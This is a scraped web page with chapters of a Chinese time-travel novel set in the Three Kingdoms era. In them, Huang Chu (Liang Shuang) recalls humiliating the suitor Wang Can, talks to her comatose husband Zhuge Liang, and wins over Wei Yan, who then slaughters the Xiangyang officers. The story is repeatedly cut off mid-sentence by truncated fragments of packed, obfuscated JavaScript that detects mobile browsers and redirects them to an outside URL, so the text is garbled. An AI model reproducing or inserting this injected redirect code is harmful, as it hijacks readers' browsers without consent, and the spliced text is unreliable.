梁爽道:“计策暂时尚未完备,请主公稍作等待,待我与拙夫商量定了,再来回禀主公。”经历了上次在荆州差点回不来的险况,梁爽有意强调孔明的重要性,好让刘备等人费心照顾孔明,免得他们误以为孔明本身已没有任何价值而在将来把他抛弃。 刘备点头应允。 梁爽道:“近来荆州忙于丧事,想必不会来攻。趁此时机,主公可令兵士们好生休整,养足元气。另外请糜家兄弟费心破财,多多招兵买马、囤积粮草。咱们夹在曹操、蔡瑁、孙权三者之间,处境危险,后面少不了一场恶战。至于公子刘琦,主公可遣人至江夏报丧,但要嘱咐他万勿入荆州城,只在城外祭拜即可。否则必遭蔡瑁算计,会有性命之忧。奔丧是孝,保全父母所赐之躯体也是孝,请公子万万以保重自身为先。” 刘备立刻传令下去。 其余琐碎事情都商量完,梁爽忽然想起一事,问刘备道:“蔡瑁麾下谋士王粲似乎很想杀我,使尽浑身解数非要置我于死地不可。但我不记得与他有过什么冲突,不知他可曾与主公结仇?” 刘备关羽张飞齐刷刷以见鬼的眼神望向她。 刘备关羽都谨慎,张飞忍不住问道:“此事一度沸沸扬扬天下皆知,军师……忘了?” “忘了什么?”梁爽疑惑道。 张飞看向关羽,关羽看向刘备,刘备又看向张飞,最后三个人一齐看向黄楚。 梁爽硬着头皮尬笑道:“年纪大了记性差,还请将军告知。” 张飞有点不好意思说出口,脸儿涨得通红,像个害羞的大姑娘,眼神向两位哥哥求助。 刘备关羽各自抬头望天。 张飞只得吞吞吐吐道:“记得好像是……建安元年?” 建安元年,黄楚十五岁,正待字闺中;王粲二十岁,尚未婚配。 有人为黄家说亲,介绍的是司空王畅的孙子王粲,说是青年才俊,名士蔡邕曾经称赞他“有异才”。 黄承彦说给黄楚听,黄楚翻个白眼:“蔡邕称赞过的就一定是好人了?是蔡邕嫁人还是我嫁人?既是我嫁人,我一定要嫁一个才貌双全、我自己看得上的郎君。否则凭他是谁,我不嫁。” 黄承彦宠爱女儿,听了她这话不但丝毫不生气,反而笑道:“我女儿不愧是我女儿,有见识!好,为父这就为你安排,让那姓王的小子来与你见上一见。” 王粲提前一日熏香沐浴,换好了一身新衣,带了些礼物,上门拜访。黄承彦在正堂与他相见,让女儿在侧陪坐,隔帘与王粲相对。 黄承彦虽然是举世闻名的高士,但到底门楣清贫,王粲到了黄家门外,见茅屋寒酸,心里便有些瞧不起。落座时,不愿自己衣袍沾在黄家铺的旧草席上,便将袍摆都拢到身前,放在腿上。 黄承彦瞥见,只作不察。转眸去看女儿。 黄楚自然也把王粲的一举一动都看在了眼里。她家虽然不富裕,但干净整洁,被王粲这般不留情面地嫌弃,黄楚气不打一处来,非要出了这口恶气不可。黄承彦是体面人,但黄楚可不追求什么体面不体面。她是一点儿气都不白受:你敬我三分,我自然敬你十分;你辱我三分,我也必十倍返还。 王粲才刚坐定,黄楚就开口了:“王公子请回吧。” 王粲一脸的不可置信:名门女子行事,还有这样的?他还没嫌弃她家穷呢,她反倒一句话没说就开始撵人了?他王粲,名门望族出身,才华横溢,年少成名,她一个穷人家未出阁的小丫头有什么资格瞧不上他?他还没拒绝她家呢,她先把他给拒了?还拒绝得这么不留情面? 王粲强行控制着自己的五官,以防止自己的脸被气得变形,故作儒雅状,说道:“小姐可曾读过书?可曾知礼?”暗讽她没家教。 黄楚:“我知书达礼,远胜于你。” 王粲气笑了。一个女子,最多也就读过《女诫》之类,就敢大言不惭说自己比他强?看来她是真的孤陋寡闻,没听说过他王仲宣的鼎鼎大名。 王粲决定让她知道知道自己的厉害:“既然小姐知书达礼,那我来考考你——” 黄楚打断他:“凭什么是你来考我?你既然自以为知书达礼,不如我来考考你。” 王粲越发又气又笑,说道:“呵,王某任小姐考。” “公子可识数?”帘后劈头盖脸来了一句。 王粲感觉自己被骂了,但又没法骂回去,只得气鼓鼓答道:“那是自然。” “那便请公子解此题。”黄楚道:“今有一人卖杏,每个杏子卖一文钱。吃完杏,可以将杏核拿来与他换杏吃,每三个杏核可以换一个杏。我现在有十文钱,最多可以吃到几个杏?” 王粲大笑道:“区区算术,有何难耳!十四个。” 黄楚笑道:“公子想清楚了?若不会算,这里有算筹,摆弄摆弄,想得清楚些” 王粲轻蔑一笑:“题目简单,心算即可,何劳算筹。” 啪、啪、啪。黄楚为他鼓掌,王粲洋洋得意,却听得黄楚轻笑道:“正确答案是十五个。” 王粲道:“吃完十个杏,得十个杏核,用其中九个杏核换来三个杏;这三个杏吃完,又有三个杏核,可以再换一个杏。无论怎么算,都只有十四个,怎么会多出来一个?女子无德,故而去骗去偷去抢么?” “我笑公子愚钝迂腐,不知变通。”黄楚笑道:“吃完公子最后换来的那个杏,我手里有两个杏核,我向旁边买杏的人借一个杏来吃,再得一个杏核,连同原来的两个杏核,又可以换一个杏,这时我再还给借我杏的人。我不曾占旁人便宜,但我也确实多吃了一个杏。” 王粲恼羞成怒道:"雕虫小技!大丈夫当通经义,岂能困于数术!" 黄楚道:“不识数就不识数,还不承认,扯什么‘大丈夫’‘小丈夫’?我观公子身长不过六尺,怎么好意思称自己是‘大丈夫’的?” “丈夫之大,不在肉身,在于志向,在于才学!” “才学……公子说的才学,指的是……不识数?” “你!你!你简直……简直……你!”王粲气得发抖,站起身来,抄起袖子伸出手来哆哆嗦嗦指着帘后的黄楚,但就是回不了嘴,转身要走,又不愿落荒而逃那般狼狈,咬牙道:“王某带诚意而来,小姐为何费尽心机百般折辱!” 黄楚轻飘飘道:“王公子带着诚意而来,为何进了门又生怕我家的地沾脏了你的衣服?我家的地不脏,是公子的眼睛脏。我清白之躯,不愿映入脏眼睛里,故而请公子速回,不要在此浪费时间——也是为公子好。” 王粲不认账,又恨黄承彦竟然以沉默纵容女儿如此,便冲黄承彦道:“令爱牙尖嘴利,在下实不敢娶!告辞!” 怎知黄楚一点儿口头上的亏都不吃,伶伶俐俐回嘴道:“哎等等,咱们说清楚,这门亲事,是我先没看上你的,你个儿矮长得丑才学又差了点儿。” “我王粲……”王粲气得脸都歪了,冷笑道:“小姐竟嫌我丑、嫌我没有才学?那在下倒是等着看,看小姐将来择到一位如何才貌双全的贵婿!”撂下这句狠话,拂袖而去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486236|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 此后王粲到处散布流言,极力渲染黄楚貌丑,将她“黄阿楚”之名叫成“黄阿丑”。 黄楚受此连累,接连数年都无人上门提亲,王粲着实得意了好多年。 直到听闻黄楚嫁给了刘表属下豫章太守诸葛玄之侄诸葛亮。诸葛亮身长八尺,面如冠玉,刚及二十岁,未曾出山,便已有“卧龙”之号。 这段故事几经流传,流传到张飞耳朵里的版本要简单粗暴得多:“飞听闻,王粲曾与军师议亲,军师用一道算术题考倒了他,又说他长得矮、长得丑、还没才学,故而惹恼了那厮。那厮便四处说军师长得丑——啊不,造谣,造谣军师不好看。还放出话去,说军师这辈子找不到好郎君,要当老女儿。后来他听说军师与卧龙先生成亲,自然是气得够呛。”黄楚确实不是美女,但自从她指挥了两场胜仗,张飞已彻底折服。张飞现在看军师,怎么看怎么顺眼。 “当然了,他王粲造谣辱骂军师,军师也没让他好过,一首民谣传遍大江南北,那是无人不知无人不晓。”张飞补充道。 梁爽听完前篇故事,已然是哭笑不得,听到此处,不觉惊呼一声“啊?” 因那段民谣琅琅上口,关羽回想起来,忍不住吟诵道:“王仲宣,不识数;九章算,尽失误。蔡邕弦,对牛弹,识人不及黄阿楚。” 梁爽内心不禁感叹:这嘴好毒……不愧是“我”……怪不得我在荆州说不认识王粲的时候王粲那副恼怒的样子…… 她现在是彻底相信黄楚曾在小小年纪就把蔡夫人骂得十多年过去犹未能释怀。 旁边刘备回味着民谣,还连连点头:“这首民谣备十二年前也听过。军师不但智谋出众,口才也实在了得。此次在荆州,备也领教了。” 一段尴尬而欢乐的八卦算是稍微让梁爽紧绷的神经松了松。告辞回到自己住处,推开房门,看见安然躺在床榻上的诸葛亮,她轻轻叹了一声,让左右侍奉的人退下休息,自己换好衣服,坐在他旁边。 小别重逢,他一切如旧。梁爽却有恍如隔世之感。 “你在这里睡得安稳。你不知道,我差点儿……就回不来了。”梁爽到这里,像是终于卸下肩头重担,含泪道:“我本就是穿越来的人,如果死了,无非魂魄再去别的地方,换个地方生活罢了。我不怕死,可我怕,如果我死了,你怎么办?现在我活着回来了,重新见到你,看见你好好的,真好。” 孔明的眼皮微微抖动,似乎与她的心情有所感应。 “虽然我还是想不起以前作为你妻子时的任何记忆,也没有任何把你当作/爱人的情感,但你的存在,却是扎扎实实把我和这个时代给联系在一起了。”梁爽看着孔明那张白皙清俊的脸,叹道。 她告诉他自己如何临危应变再烧博望坡,告诉他“联蔡”的计策如何失败,告诉他自己如何遇险又急中生智拖延,也告诉他千钧一发之际刘关张三人如何赶来救她。 孔明的眼皮时时跳动,算是给她一些回应。 梁爽将大事说完,问他:“王粲王仲宣曾经和我家议亲,你知不知道?” 他左眼皮跳。 “他到处跟人说我长得丑,你听没听说过?” 左眼皮跳完了右眼皮跳,意思是他听说过,但他不相信。 “我穿越去现代逛了一圈回来,确实觉得我这张脸不好看。”梁爽抬手摸摸自己的脸。 诸葛亮右眼皮跳,表示不同意。 逗得梁爽一笑:“不好看就是不好看,我又不觉得是回事儿,你不用非要睁着眼睛说瞎话似地哄我。” 诸葛亮还是右眼皮跳。 梁爽高兴地笑了一会儿,问他:“我们成亲前,也见过面么?” 左眼皮跳。 “那我有没有出题目考你呀?” 左眼皮跳。 “啊?你长得这么好看,我怎么舍得考你的呀?万一把你给考跑了怎么办。” 孔明笑了一下。 梁爽怔住。半晌,才道:“你……你醒了?” 19. 招降大将魏延 孔明右眼皮跳。 意思是他没醒。 他嘴角的笑也渐渐放平、消失了。 梁爽失望地一叹,顿了顿,像是给自己鼓气似地说道:“但至少,现在你不是只有眼皮能动了。你能笑了。这已经是很好的事,我该知足。之前有时候我自己都恍惚觉得你真的只是个机器人,越跟你聊天越心生寂寞。” “不说这些了,有正经事要同你商量。”梁爽道:“历史上,刘表去世后,刘备没有得到荆州,被迫南渡与孙权合作。说是合作,其实几乎可以说是寄人篱下。他娶了孙权的妹妹孙尚香,两家联姻结盟,共抗曹军,赤壁一战,烧光了曹操的水师,也夺回了荆州。但曹操退兵之后,孙刘双方为了争夺荆州,联盟很快瓦解,刘备暂时得到了荆州,然后继续向西攻略入蜀,建立蜀汉。此后围绕着荆州,三国数次征战,不知折了多少将士在里头。到最后刘备一方不但没留住荆州,还折了关羽,又搭上了张飞和刘备。此后你带兵北伐数次,未能成功……我觉得,联吴抗曹是对的,但是决不能以寄人篱下的方式。荆州,还是始终牢牢攥在手里为妙,否则容易为将来留下隐患。你觉得呢?” 孔明左眼皮跳。 梁爽叹道:“可是现在要想得到荆州,谈何容易……北边曹操四十万大军压境,南边孙权也不是容易拉拢的,还有荆州我舅舅他们在旁虎视眈眈盯着咱们。我小时候嘴可太毒了,把我舅舅和姨母得罪得不轻……” 孔明闻言,只能左眼皮跳跳,表示附和,却不能提供任何解决方案。 “你真的不能用摩斯电码跟我讲几句?”梁爽满心期盼地看着他。 可惜孔明并不能看见她的眼神。他只能右眼皮跳一跳,拒绝了她。 梁爽无奈地叹口气:“我倒是粗粗想了个办法,但这个办法太简单粗暴了,我有点不太敢实施……毕竟现在我每踏错一步,可能都有将士为此搭上性命,我不得不谨慎行事。孔明你知道吗,我不想让任何人因为我而无辜枉死。前世的那个你统兵打仗,一定知道这种滋味……不知现在的你能不能明白我的心……” 梁爽将她的办法在孔明耳边细细说完。孔明听罢,左眼跳了,右眼又跳,左右眼来回跳个不停,意思是他暂时也拿不准,还要再想想。 “罢了,先睡罢,我也累了,我们先休息。”梁爽道。 “荆州……荆州……‘独自走下长坂坡,月色太温柔,曹操不啰嗦,一心要那荆州,用阴谋阳谋明说暗夺的谋’……”这晚梁爽睡梦里都是荆州。 第二天早上起来,刚好探子新得了些消息来报,梁爽听罢大喜,问过诸葛亮的意思,两人将方案重新打磨过,梁爽便去同刘备建议说要取襄阳,而且要快。 襄阳在新野以南,介于新野与荆州之间,是刘表的地盘。刘备当然不肯:“兄长尚未入土为安,我怎能……” 梁爽双手捧起刘表给他的令牌和宝剑:“这是姨父的遗愿,让我为他守住他一生事业。主公,他肯将这两件东西交给我,是因为我的背后是主公。姨父对主公的心意,主公不会不明白。姨父相信主公,主政荆州之后,必能善待刘琮。也请主公为了姨父的遗愿,驱逐奸佞,捍卫荆州!此次攻占襄阳,我发誓兵不血刃,决不伤人;后续夺回荆州时,同样如此。还请主公信我。” “我完全相信军师……只是对于琮儿,我……” 梁爽道:“此系襄阳守将主动投诚,并非我等武力攻打,刘琮怨不得我们。天下人面前,我们也有话说。” 关羽张飞赵云孙乾糜芳等人也在旁力劝。 刘备重重叹了口气,说道:“罢!便依军师所言。还请军师劳心劳力,为我筹谋安排罢。” 梁爽道:“据探子来报,姨父去世后,将归葬襄阳,但因丧事未完,故而尚未启行。此时襄阳城中将领多至荆州奔丧,留守诸将中,寻常武夫不计,真正骁勇善战的大将只有两员,一人名唤文聘,一人名唤魏延。魏延系可用之人。” 刘备问为何军师断定魏延可用。 梁爽认为魏延可用,当然是因为她预先知道魏延后来成为了蜀汉的人,但她却不能照实答话。想借用《三国演义》里诸葛亮给魏延下的判词,说魏延脑后有反骨,但这句话绝非好话,她又不想把魏延在刘备阵营的前途早早堵死。只好说道:“听闻此人知机识变,相信只要派一名合适的说客,晓之以情动之以理,他会懂得良禽择木而栖,转而报效明主。” “依军师看,何人适合做说客?” 梁爽道:“自然是我。” 张飞连忙道:“军师不可!太危险了。上回那些人已经恨不得要把军师吃了,这次怎能让军师再亲入虎穴?” 梁爽道:“既是虎穴,不入虎穴,焉得虎子?” 关羽也摇头道:“军师不可……” 孙乾主动请缨,愿代替军师前往。 梁爽道:“不是我硬要逞能、害得诸位将军和先生们为我担心。实在是只有我能去。只有我拿着姨父的令牌和宝剑时它们才最有效力。”转而向刘备道:“主公放心,我既然敢去,必然有十成的把握能全身而退。如若他们真敢把我怎么样,主公刚好有名正言顺的理由发兵,于大局而言,百利而无一害。” 刘备道:“若折了军师,我如失左右臂,何来‘百利而无一害’?” 梁爽道:“主公若不放心,那便请赵云将军护送我吧。”关羽和张飞的外形太有特点,赵云此时名声刚起,还不像刘关张那样举世皆知,混进襄阳城要容易些。 刘备说让她再带些兵士,梁爽说怕人多导致暴露,反而坏事。考虑到有武艺高强以一敌百的赵云相随,刘备总算勉强答应。 梁爽道:“拙夫孔明,就拜托主公和诸位照应了。” 刘备等人纷纷道:“那是自然,军师放心。” 梁爽将令牌揣在怀里,宝剑塞在一堆杂货里,货物用麻袋包裹捆扎得严严实实,用板车驮着。小赵将军驾骡车,梁爽并肩坐在他一旁,二人扮作一对民间夫妇,假装运货到襄阳贩卖。 临上车前,梁爽问:“将军惯用长枪,使得惯剑么?”赵云道:“使得惯,军师放心。”梁爽比个大拇指。 两人上路,梁爽取出伪造的“过所(通关文书)”,开始给赵云安排两人的身份:“若路过关卡和城门时被盘问,将军就说姓赵,因家中排行第四,故而名‘四’,二十七岁。我姓梁,名爽,二十六岁。你我夫妇都是新野县人士,家住县城南门外,今年刚成婚,没有子嗣。” 赵云答应着,一一谨记在心。 “逢关卡时,将军记得上前塞给那些人一点好处,不要太多,咱们既然是扮演小贩,出手不能阔绰。将军给十余个铜钱就够,若他们再盘剥,就再给五个。”梁爽道:“若遇人盘查,将军记得要与我以‘娘子’‘夫君’相称,站得近些,看我的眼神也不要回避羞涩,否则会让守军起疑。”一些现代习得的亲密关系相关心理学知识。 “是。云记得了。”尚未婚配的小赵将军单是听她讲,一张白脸就羞得红透了,红得像关羽。 梁爽内心狂笑:这些迂腐古板容易害臊的古人啊哈哈哈。 两人从前交谈的机会不多,但同路而行若总不说话便很尴尬。起初赵云绞尽脑汁不懂该聊什么,便说了他最想说的:“军师的兵法好生了得,末将第一次听军师安排博望坡一役,听得一头雾水,不知军师到底要做什么,待到后面火起,才悟透军师用计深远,实在佩服。” 梁爽被夸自是开心,笑道:“将军谬赞了。第一次用兵,我心里其实没什么底,每每想出些办法,都要问过拙夫孔明的意见,才好做决定。我在台前,孔明在幕后,功劳全都被我一个人领了,实则也有他的一份,他功不可没。” 赵云问:“这次去见魏延,军师打算如何游说他?” 梁爽道:“乱世之中,他自负才干,必欲求明主。先前刘表对他不够重用,他大概心中早有郁郁不平之气,只因刘表是割据一方的英雄豪杰,他愿意归附,所以未曾离去。现在刘表已逝,那蔡瑁、刘琮在他眼里算是什么东西?他必然不肯屈居人下。你我主公乃当世英雄,汉室宗亲,素有仁义之名,又刚打了两场大胜仗,不愁魏延不来投靠。” 赵云道:“曹操虽然被骂‘汉贼’,但到底也算是个枭雄,又有礼贤下士的做派,且四十万大军气势汹汹,恐怕魏延审时度势,会在主公与曹操之间逡巡不定。” 梁爽道:“将军所言不假,但一则曹操帐下猛将太多了,魏延何时才能出头?二则如将军所说,曹操名为汉相,实为汉贼,魏延心高气傲,未必瞧得上他。” 赵云问:“虽然相信军师料事如神,但万一失算,魏延将军师扣留,甚至送交荆州,怎么办?” 梁爽笑道:“那到时将军应拼尽武艺弃我而逃,回新野报知主公。如我在主公面前所说,这样主公就有正当理由发兵了。” 赵云闻言,抱拳道:“军师待主公忠心耿耿,置生死于度外,赵云佩服。” 梁爽摇头,轻笑道:“我所做的一切,并不是为了向主公一人尽忠。我只是想尽我最大的能力改变一些事情,好让这乱世尽快结束。九州合一,天下太平,再也不要战争。”对梁爽来说,支持魏蜀吴三方中的任何一方,对她来说都没有本质上的区别。她不觉得曹操真的是“汉贼”,也不觉得汉室宗亲就天然有资格称霸,她只是因为孔明业已选择了刘备,她又刚好穿越成为孔明的妻子,所以才选择为刘备效力——当然,刘备作为主公,在这些日子的相处中确实有打动她的地方。 赵云望向远方,叹道:“初平二年,云受家乡常山父老推举,率领本地义兵投奔公孙瓒,也是作如此想。天下讻讻,未知孰是,民有倒悬之厄,故而从仁政之所在。” 刘表治下,荆州富庶安定,小车从新野走到襄阳,沿途不算荒凉,算是乱世中难得的景象。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁爽道:“非也。将军乃是武功盖世的英雄好汉,我怎敢狂妄至此,以为自己能拿捏将军之心?只是我自负鸿雁之志,欲建一番千秋不灭的功业,将心比心,相信将军志向远大,必与我等志同道合。” 魏延道:“曹操将至,我为何不随刘琮蔡瑁等人转投曹操?现下刘备势弱,我若背主投奔他,不日被曹操俘虏,那时与旧主重逢,可就难看了。” 梁爽道:“将军此言,不是心里话。否则,将军何必迎我等入内,而不是径直将我等扭送文聘将军处?曹操虽博得爱才之名,可是将军仔细看去,他性情无定、任意杀人时还少么?且他帐下多少人一生未得其用?他不惜囚禁徐庶徐元直的母亲,逼徐元直弃我主而去,然而他可曾真的采用过徐元直的计谋?他将人招揽去,只是防止人才为他人所用,并非自己真心重用。将军真到了他帐下,几时才能混出名堂?几时才能出人头地?我主玄德却不同。多少人鄙夷女子,不信女子有才,更不敢以女子担当大任,但我主他便是有这等眼界胸襟!将军单看我如何备受倚重,便知若将军投奔新野,必受厚待。此外,将军的旧主乃是刘表,刘表命我为军师,授我以宝剑和令牌,如今蔡瑁擅矫遗令,不容我主公刘玄德辅政,亦不许我调度荆州兵马,若将军与我联手,共同讨伐荆州,这才是真正的忠于旧主,何来背主之说?天下人面前,自有公议。” 魏延至此,已经心动了六成,复问她道:“曹操大兵压境,夫人可有退敌之策?” 黄楚微微一笑:“我的退敌之策,便是将军。” 魏延一怔。 黄楚道:“将军屈居蔡瑁之下,才华不得伸展。然而我深知,以将军之才,足以辅佐我主安定天下。打退区区曹军,更是不在话下。” 魏延因性情怪戾,不甚合群,在荆襄多年郁郁不得志,闻言深受触动,然而却不敢深信,苦笑道:“夫人未免夸口过甚了。” 黄楚道:“若将军不信,不妨与我一试,我让将军成为兵不血刃取下襄阳和荆州的第一功臣。凭这一份军功,将来将军在我主玄德帐下,必受倚重;荆襄之民必感激将军保全;千秋万世史书上,也有将军美名流传。将军是想从此以后安稳度日,做个曹操手下名不见经传的部将,还是随我主匡扶汉室、济世救民、开疆拓土、青史留名,全看将军今日裁决了!” 魏延感觉自己脉管中沉寂已久的血液在沸腾。 是的,在头脑反复权衡利弊之际,他的血脉已经先给了他答案。 他默默无闻太久了。 他不该这么默默无闻的。 他一身武艺,又有智计,天下之大,才干竟一直未曾尽兴施展! 眼前这个女子可信吗,他不确定,但他确定的是,他想赌一把。赌一把大的,成,则千秋万世名;败,则身家性命顷刻化作乌有。 他再也不想平平淡淡地日复一日重复虚无。 再不赌,就老了。 于是魏延双手捧起刘表宝剑,说道:“先主信物在此,愿听军师差遣!” 20. 魏延是把双刃剑 夜色如墨,襄阳城头火把摇曳,映照得城墙上的青砖泛着幽幽的光。魏延拾阶而上,登上城墙,他的脸时而在跳动的火光下,时而在阴影里。 城楼上来回巡逻的士兵没有什么精神,弯腰驼背,拖拖沓沓地走。 虽然荆州方面没有发出明确的信号,但将士们或多或少都知道蔡瑁有意携刘琮投降曹操,因此并未因曹军逼近而产生任何紧张。至于驻扎新野的刘备一方,在荆襄两地的兵士们口中已经被传得神乎其神。传说刘备去南阳三顾茅庐聘回一个巫女为军师,此巫女法术高强,尤其擅长纵火。每次纵火都是十万十万地烧死人,与她为敌者几乎无人生还。襄阳守军满打满算只有三万人,就算再翻一倍,都不够巫女放一把火烧的。面对如此可怕的巫女,襄阳守军毫无斗志——凡人如何打得过巫女?再怎么防守也无用。 整个襄阳城里唯一认真守城的,恐怕只有将军文聘。文聘对刘表忠心耿耿,刘表死后,他将这份忠心献给了刘琮。只要刘琮还没有放弃襄阳,他就绝不让襄阳落入他人手中。 文聘在《三国演义》中戏份不多,梁爽对于文聘这个名字毫无印象,只是听赵云说文将军十分忠义,乃可敬可佩之人,因此梁爽告诉魏延只需带几名勇士合力将文聘控制住即可,千万不要杀,更要防着他自杀。 魏延在值房外驻足。手探向腰间,手指轻轻摩挲着匕首手柄上的饕餮纹路。 他摆摆手,命附近的侍卫们都退下,然后深吸了一口气,徐徐呼出,推开房门。 今夜没有月光,室内只有桌案旁摆着一座五盏青铜连枝灯,甚是昏暗。 魏延与诸将相处不甚融洽,文聘也不例外,见魏延来,起身抱拳打个招呼,并不多话,只说白天并无异常,只是新野那名女军师惯会在夜里纵火,先前两次火烧博望坡都是在夜里,还请魏将军多多提点打更守夜的士卒,切勿懈怠。 魏延如往常一般,板着脸点点头。 文聘便道:“如此,我便告退,有劳魏将军打起精神值夜了。”转身离去。 忽听得身后魏延叫道“文将军,得罪了。” 文聘吃惊,连忙回头,魏延迅疾手起,一匕首刺进他侧颈,登时鲜血喷溅。 不等文聘有任何反应,魏延猛地拔去匕首,文聘高大的身躯只晃了晃,甚至来不及发出一声叫喊,便轰然倒地。 魏延从怀中掏出令牌。 微微泛黄的象牙令牌上登时沁染了他手掌的血。 魏延想去擦拭,但又停住。 他不擦了。 调兵遣将的令牌,本就是沾了血的,沾着成千上万人的血。它也本就应该沾血。 魏延以他和文聘二人的名义传令襄阳诸将都到城楼下集合,说得到线报,刘备即将攻打襄阳,召众人商议。又在城楼外/围埋伏了心腹充当刀斧手。 军情如火,诸将很快赶到,齐聚城楼下。等人到齐,魏延派人喊诸将上楼。 不直接让众人在城楼上集合,众人心中稍觉古怪,但考虑到或许两位主将要先商量机密,因此也没有深究,一同上楼去。 上楼,推开房门,眼前赫然是文聘将军的尸体。 众人大骇,纷纷警戒,却见魏延在室内,安坐在主位,正幽幽看着大家。 “魏延!怎么回事!文将军怎么会……” 魏延亮出令牌:“先主遗命,刘琮继位,由刘备辅政,以黄楚为军师。今蔡瑁挟持少主,欲杀刘备、黄楚,又欲将荆襄两地献于曹操,实乃不忠不义的叛臣,有负先主在天之灵!先主待我有知遇之恩,我绝不忍坐视。今有先主令牌在此,我欲携襄阳军民投诚刘备,并讨伐蔡瑁,以实现先主遗愿,告慰先主。文聘顽固不化,已被我杀了。” 一名副将叫道:“那令牌该在刘备、黄楚手中,你如何得来!魏延,你这小人,明明是叛主还要说得冠冕堂皇!你当我们是傻子呢!” 忽明忽暗的灯光下,魏延阴鸷的面容无喜无怒,说道:“欲与我同投刘备的,留下;要奔荆州去的,走。” 将领们喊道:“就凭你,也想当我们的头儿!做梦!” 魏延扫视众人,竟无人愿追随他。 “来人,杀。”魏延没有一个字啰嗦。上百名刀斧手在门外听令,一拥而上,在狭窄的房间里大开杀戒。 咒骂声、惨叫声、兵器砍击声……室内血肉横飞,很快归于死亡的幽静。 活下来的刀斧手们恭敬站好,拱手向魏延致意。 “来人!速传吾令:依先主遗命,襄阳本应奉公子刘琮为主,奈何蔡瑁奸贼挟持幼主,图谋不轨,欲投降曹操。盖因先主遗命由刘备辅政,今起由刘备执掌襄阳,以安民心。刘备将军仁德布于四海,宽厚待民,凡归顺者,皆以恩义抚之。襄阳军民,勿生疑虑,各安其业,生计如常,勿负刘备将军一片仁心!” 魏宅。赵云手握刘表的宝剑,正焦急不安地等待魏延的消息。 他不想军师死。他不想军师有任何危险。所以他们必须成功。 黄楚在故作淡定地饮茶,但她心底其实同样浮动着不安。 魏延在赌她排兵布阵打赢曹操的本事,而她则在赌魏延的心思:赌他不会变卦,会真的拿下襄阳并献给刘备。 等到传令兵飞奔而来告诉她“接管襄阳已成,请军师至城楼议事并通知主公来驻襄阳”时,黄楚惊得将手中陶碗跌得粉碎。 她猛然发现她忘了一点:她将事情交给魏延去做其实是在赌魏延的人性。 她看见了传令兵鞋上的血。 她知道一定是城中某处发生了血案。 她恍然明白文聘必定凶多吉少。 她这才意识到对于魏延来说,把城池献给刘备还不算利益最大化,作为唯一的主将把城池献给刘备,才算。 要想控制诸将,明明用些手段把他们绑了、作为俘虏献给刘备就可以——她甚至已经向他提供了足量的麻沸散,但他偏要杀。 非要杀同僚,无非是怕他们之中有谁分去了他的功劳、将来比他更受重用,或者纯粹为了报复过去的私怨。 她太自负了。 她低估了魏延的野心和残忍。 她终于明白诸葛亮前世为什么死前要专门留下计策诛杀他。 魏延是一把难以控制的利剑。一把冰冷、嗜血的利剑。 赵云眼睁睁看着,见黄楚呆呆望向地面许久、又打了个冷战。 他起初不懂为什么军师听到消息时毫无喜悦,他以为军师是在疑心消息的真假。直到他顺着她的目光同样看清了传令兵鞋上的血迹。 赵云为防那传令兵看出什么破绽,忙笑道:“军师素来体弱,为了襄阳而操心劳力数日,现在终于心里松了劲,身子一时缓不过来。你且去告诉魏将军,军师来之前便已与主公约定,明日大军便至。请将军今夜辛苦些,看看明日大军抵达后该如何安置,又如何与城中原有军队整编。”打发那人离去。 赵云将外褂脱下,披在她身上。 梁爽一抬头,赵云看见了她满脸的泪。 她望着他,颤抖的嘴唇动了动,终究什么都没有说。 “军师,不是您的错……智者千虑,必有一失。”赵云忙劝。但碍于此地是魏延的地盘,他不敢多说话,怕被人听去,误了大事。 梁爽摇了摇头,她轻轻摆手,制止赵云继续说下去,走去一边,面壁默默流泪。 她应该跟魏延一道去的。如果她在场,一定可以阻止魏延的屠刀。 因为她的失算,有原本可以逃脱一死的人为此付出了生命的代价。 她怎么面对? 她怎么原谅自己?她向谁去求得原谅? 赵云不知道该怎么安慰她。 他手足无措站在那里,望着她孤独的背影。 他走上前,轻声道:“军师若太难过,末将护送军师暂回新野。既然襄阳局势已定,这里的事可以请简雍先生来接管。” 听见这句话,梁爽渐渐压制住了汹涌的情绪,稍稍恢复理智。她抹干了眼泪,说道:“多谢将军好意,但我不能走……也不能垮。我们现在必须去制止魏延,我怕他会杀更多的人。” 因她哭得面目通红,此刻不宜立即去见魏延,因此安排赵云先行:“请将军执宝剑去传我的令,襄阳城中凡是不愿归降主公的,绝不强留。无论军民,给他们一夜时间收拾行李,明天一早开城门,放他们走。无论魏延以何种借口,今夜不许再杀一个人。” 赵云道:“留军师独自在这里……” 梁爽道:“请将军速去。” 赵云不再违逆,领命而去。 梁爽擦干净脸,静静等面上的泪痕褪尽。 她还是不能原谅她的过失。但她不会让一次失败而将自己击倒。 她会牢牢把这次的死难者刻进自己骨血里,时刻提醒自己再也不犯同样的错。 今夜挥刀杀人的不是她。她会在心底为死者默哀,并在来日为死者预留好复仇的机会。 襄阳城的黎明似乎来得格外迟。 魏延站在城楼外,望着东方泛起的鱼肚白。他的铠甲上已经擦洗掉了血迹,手中的长枪在依稀晨光中泛着森森寒意。昨夜的血腥气息似乎隐隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 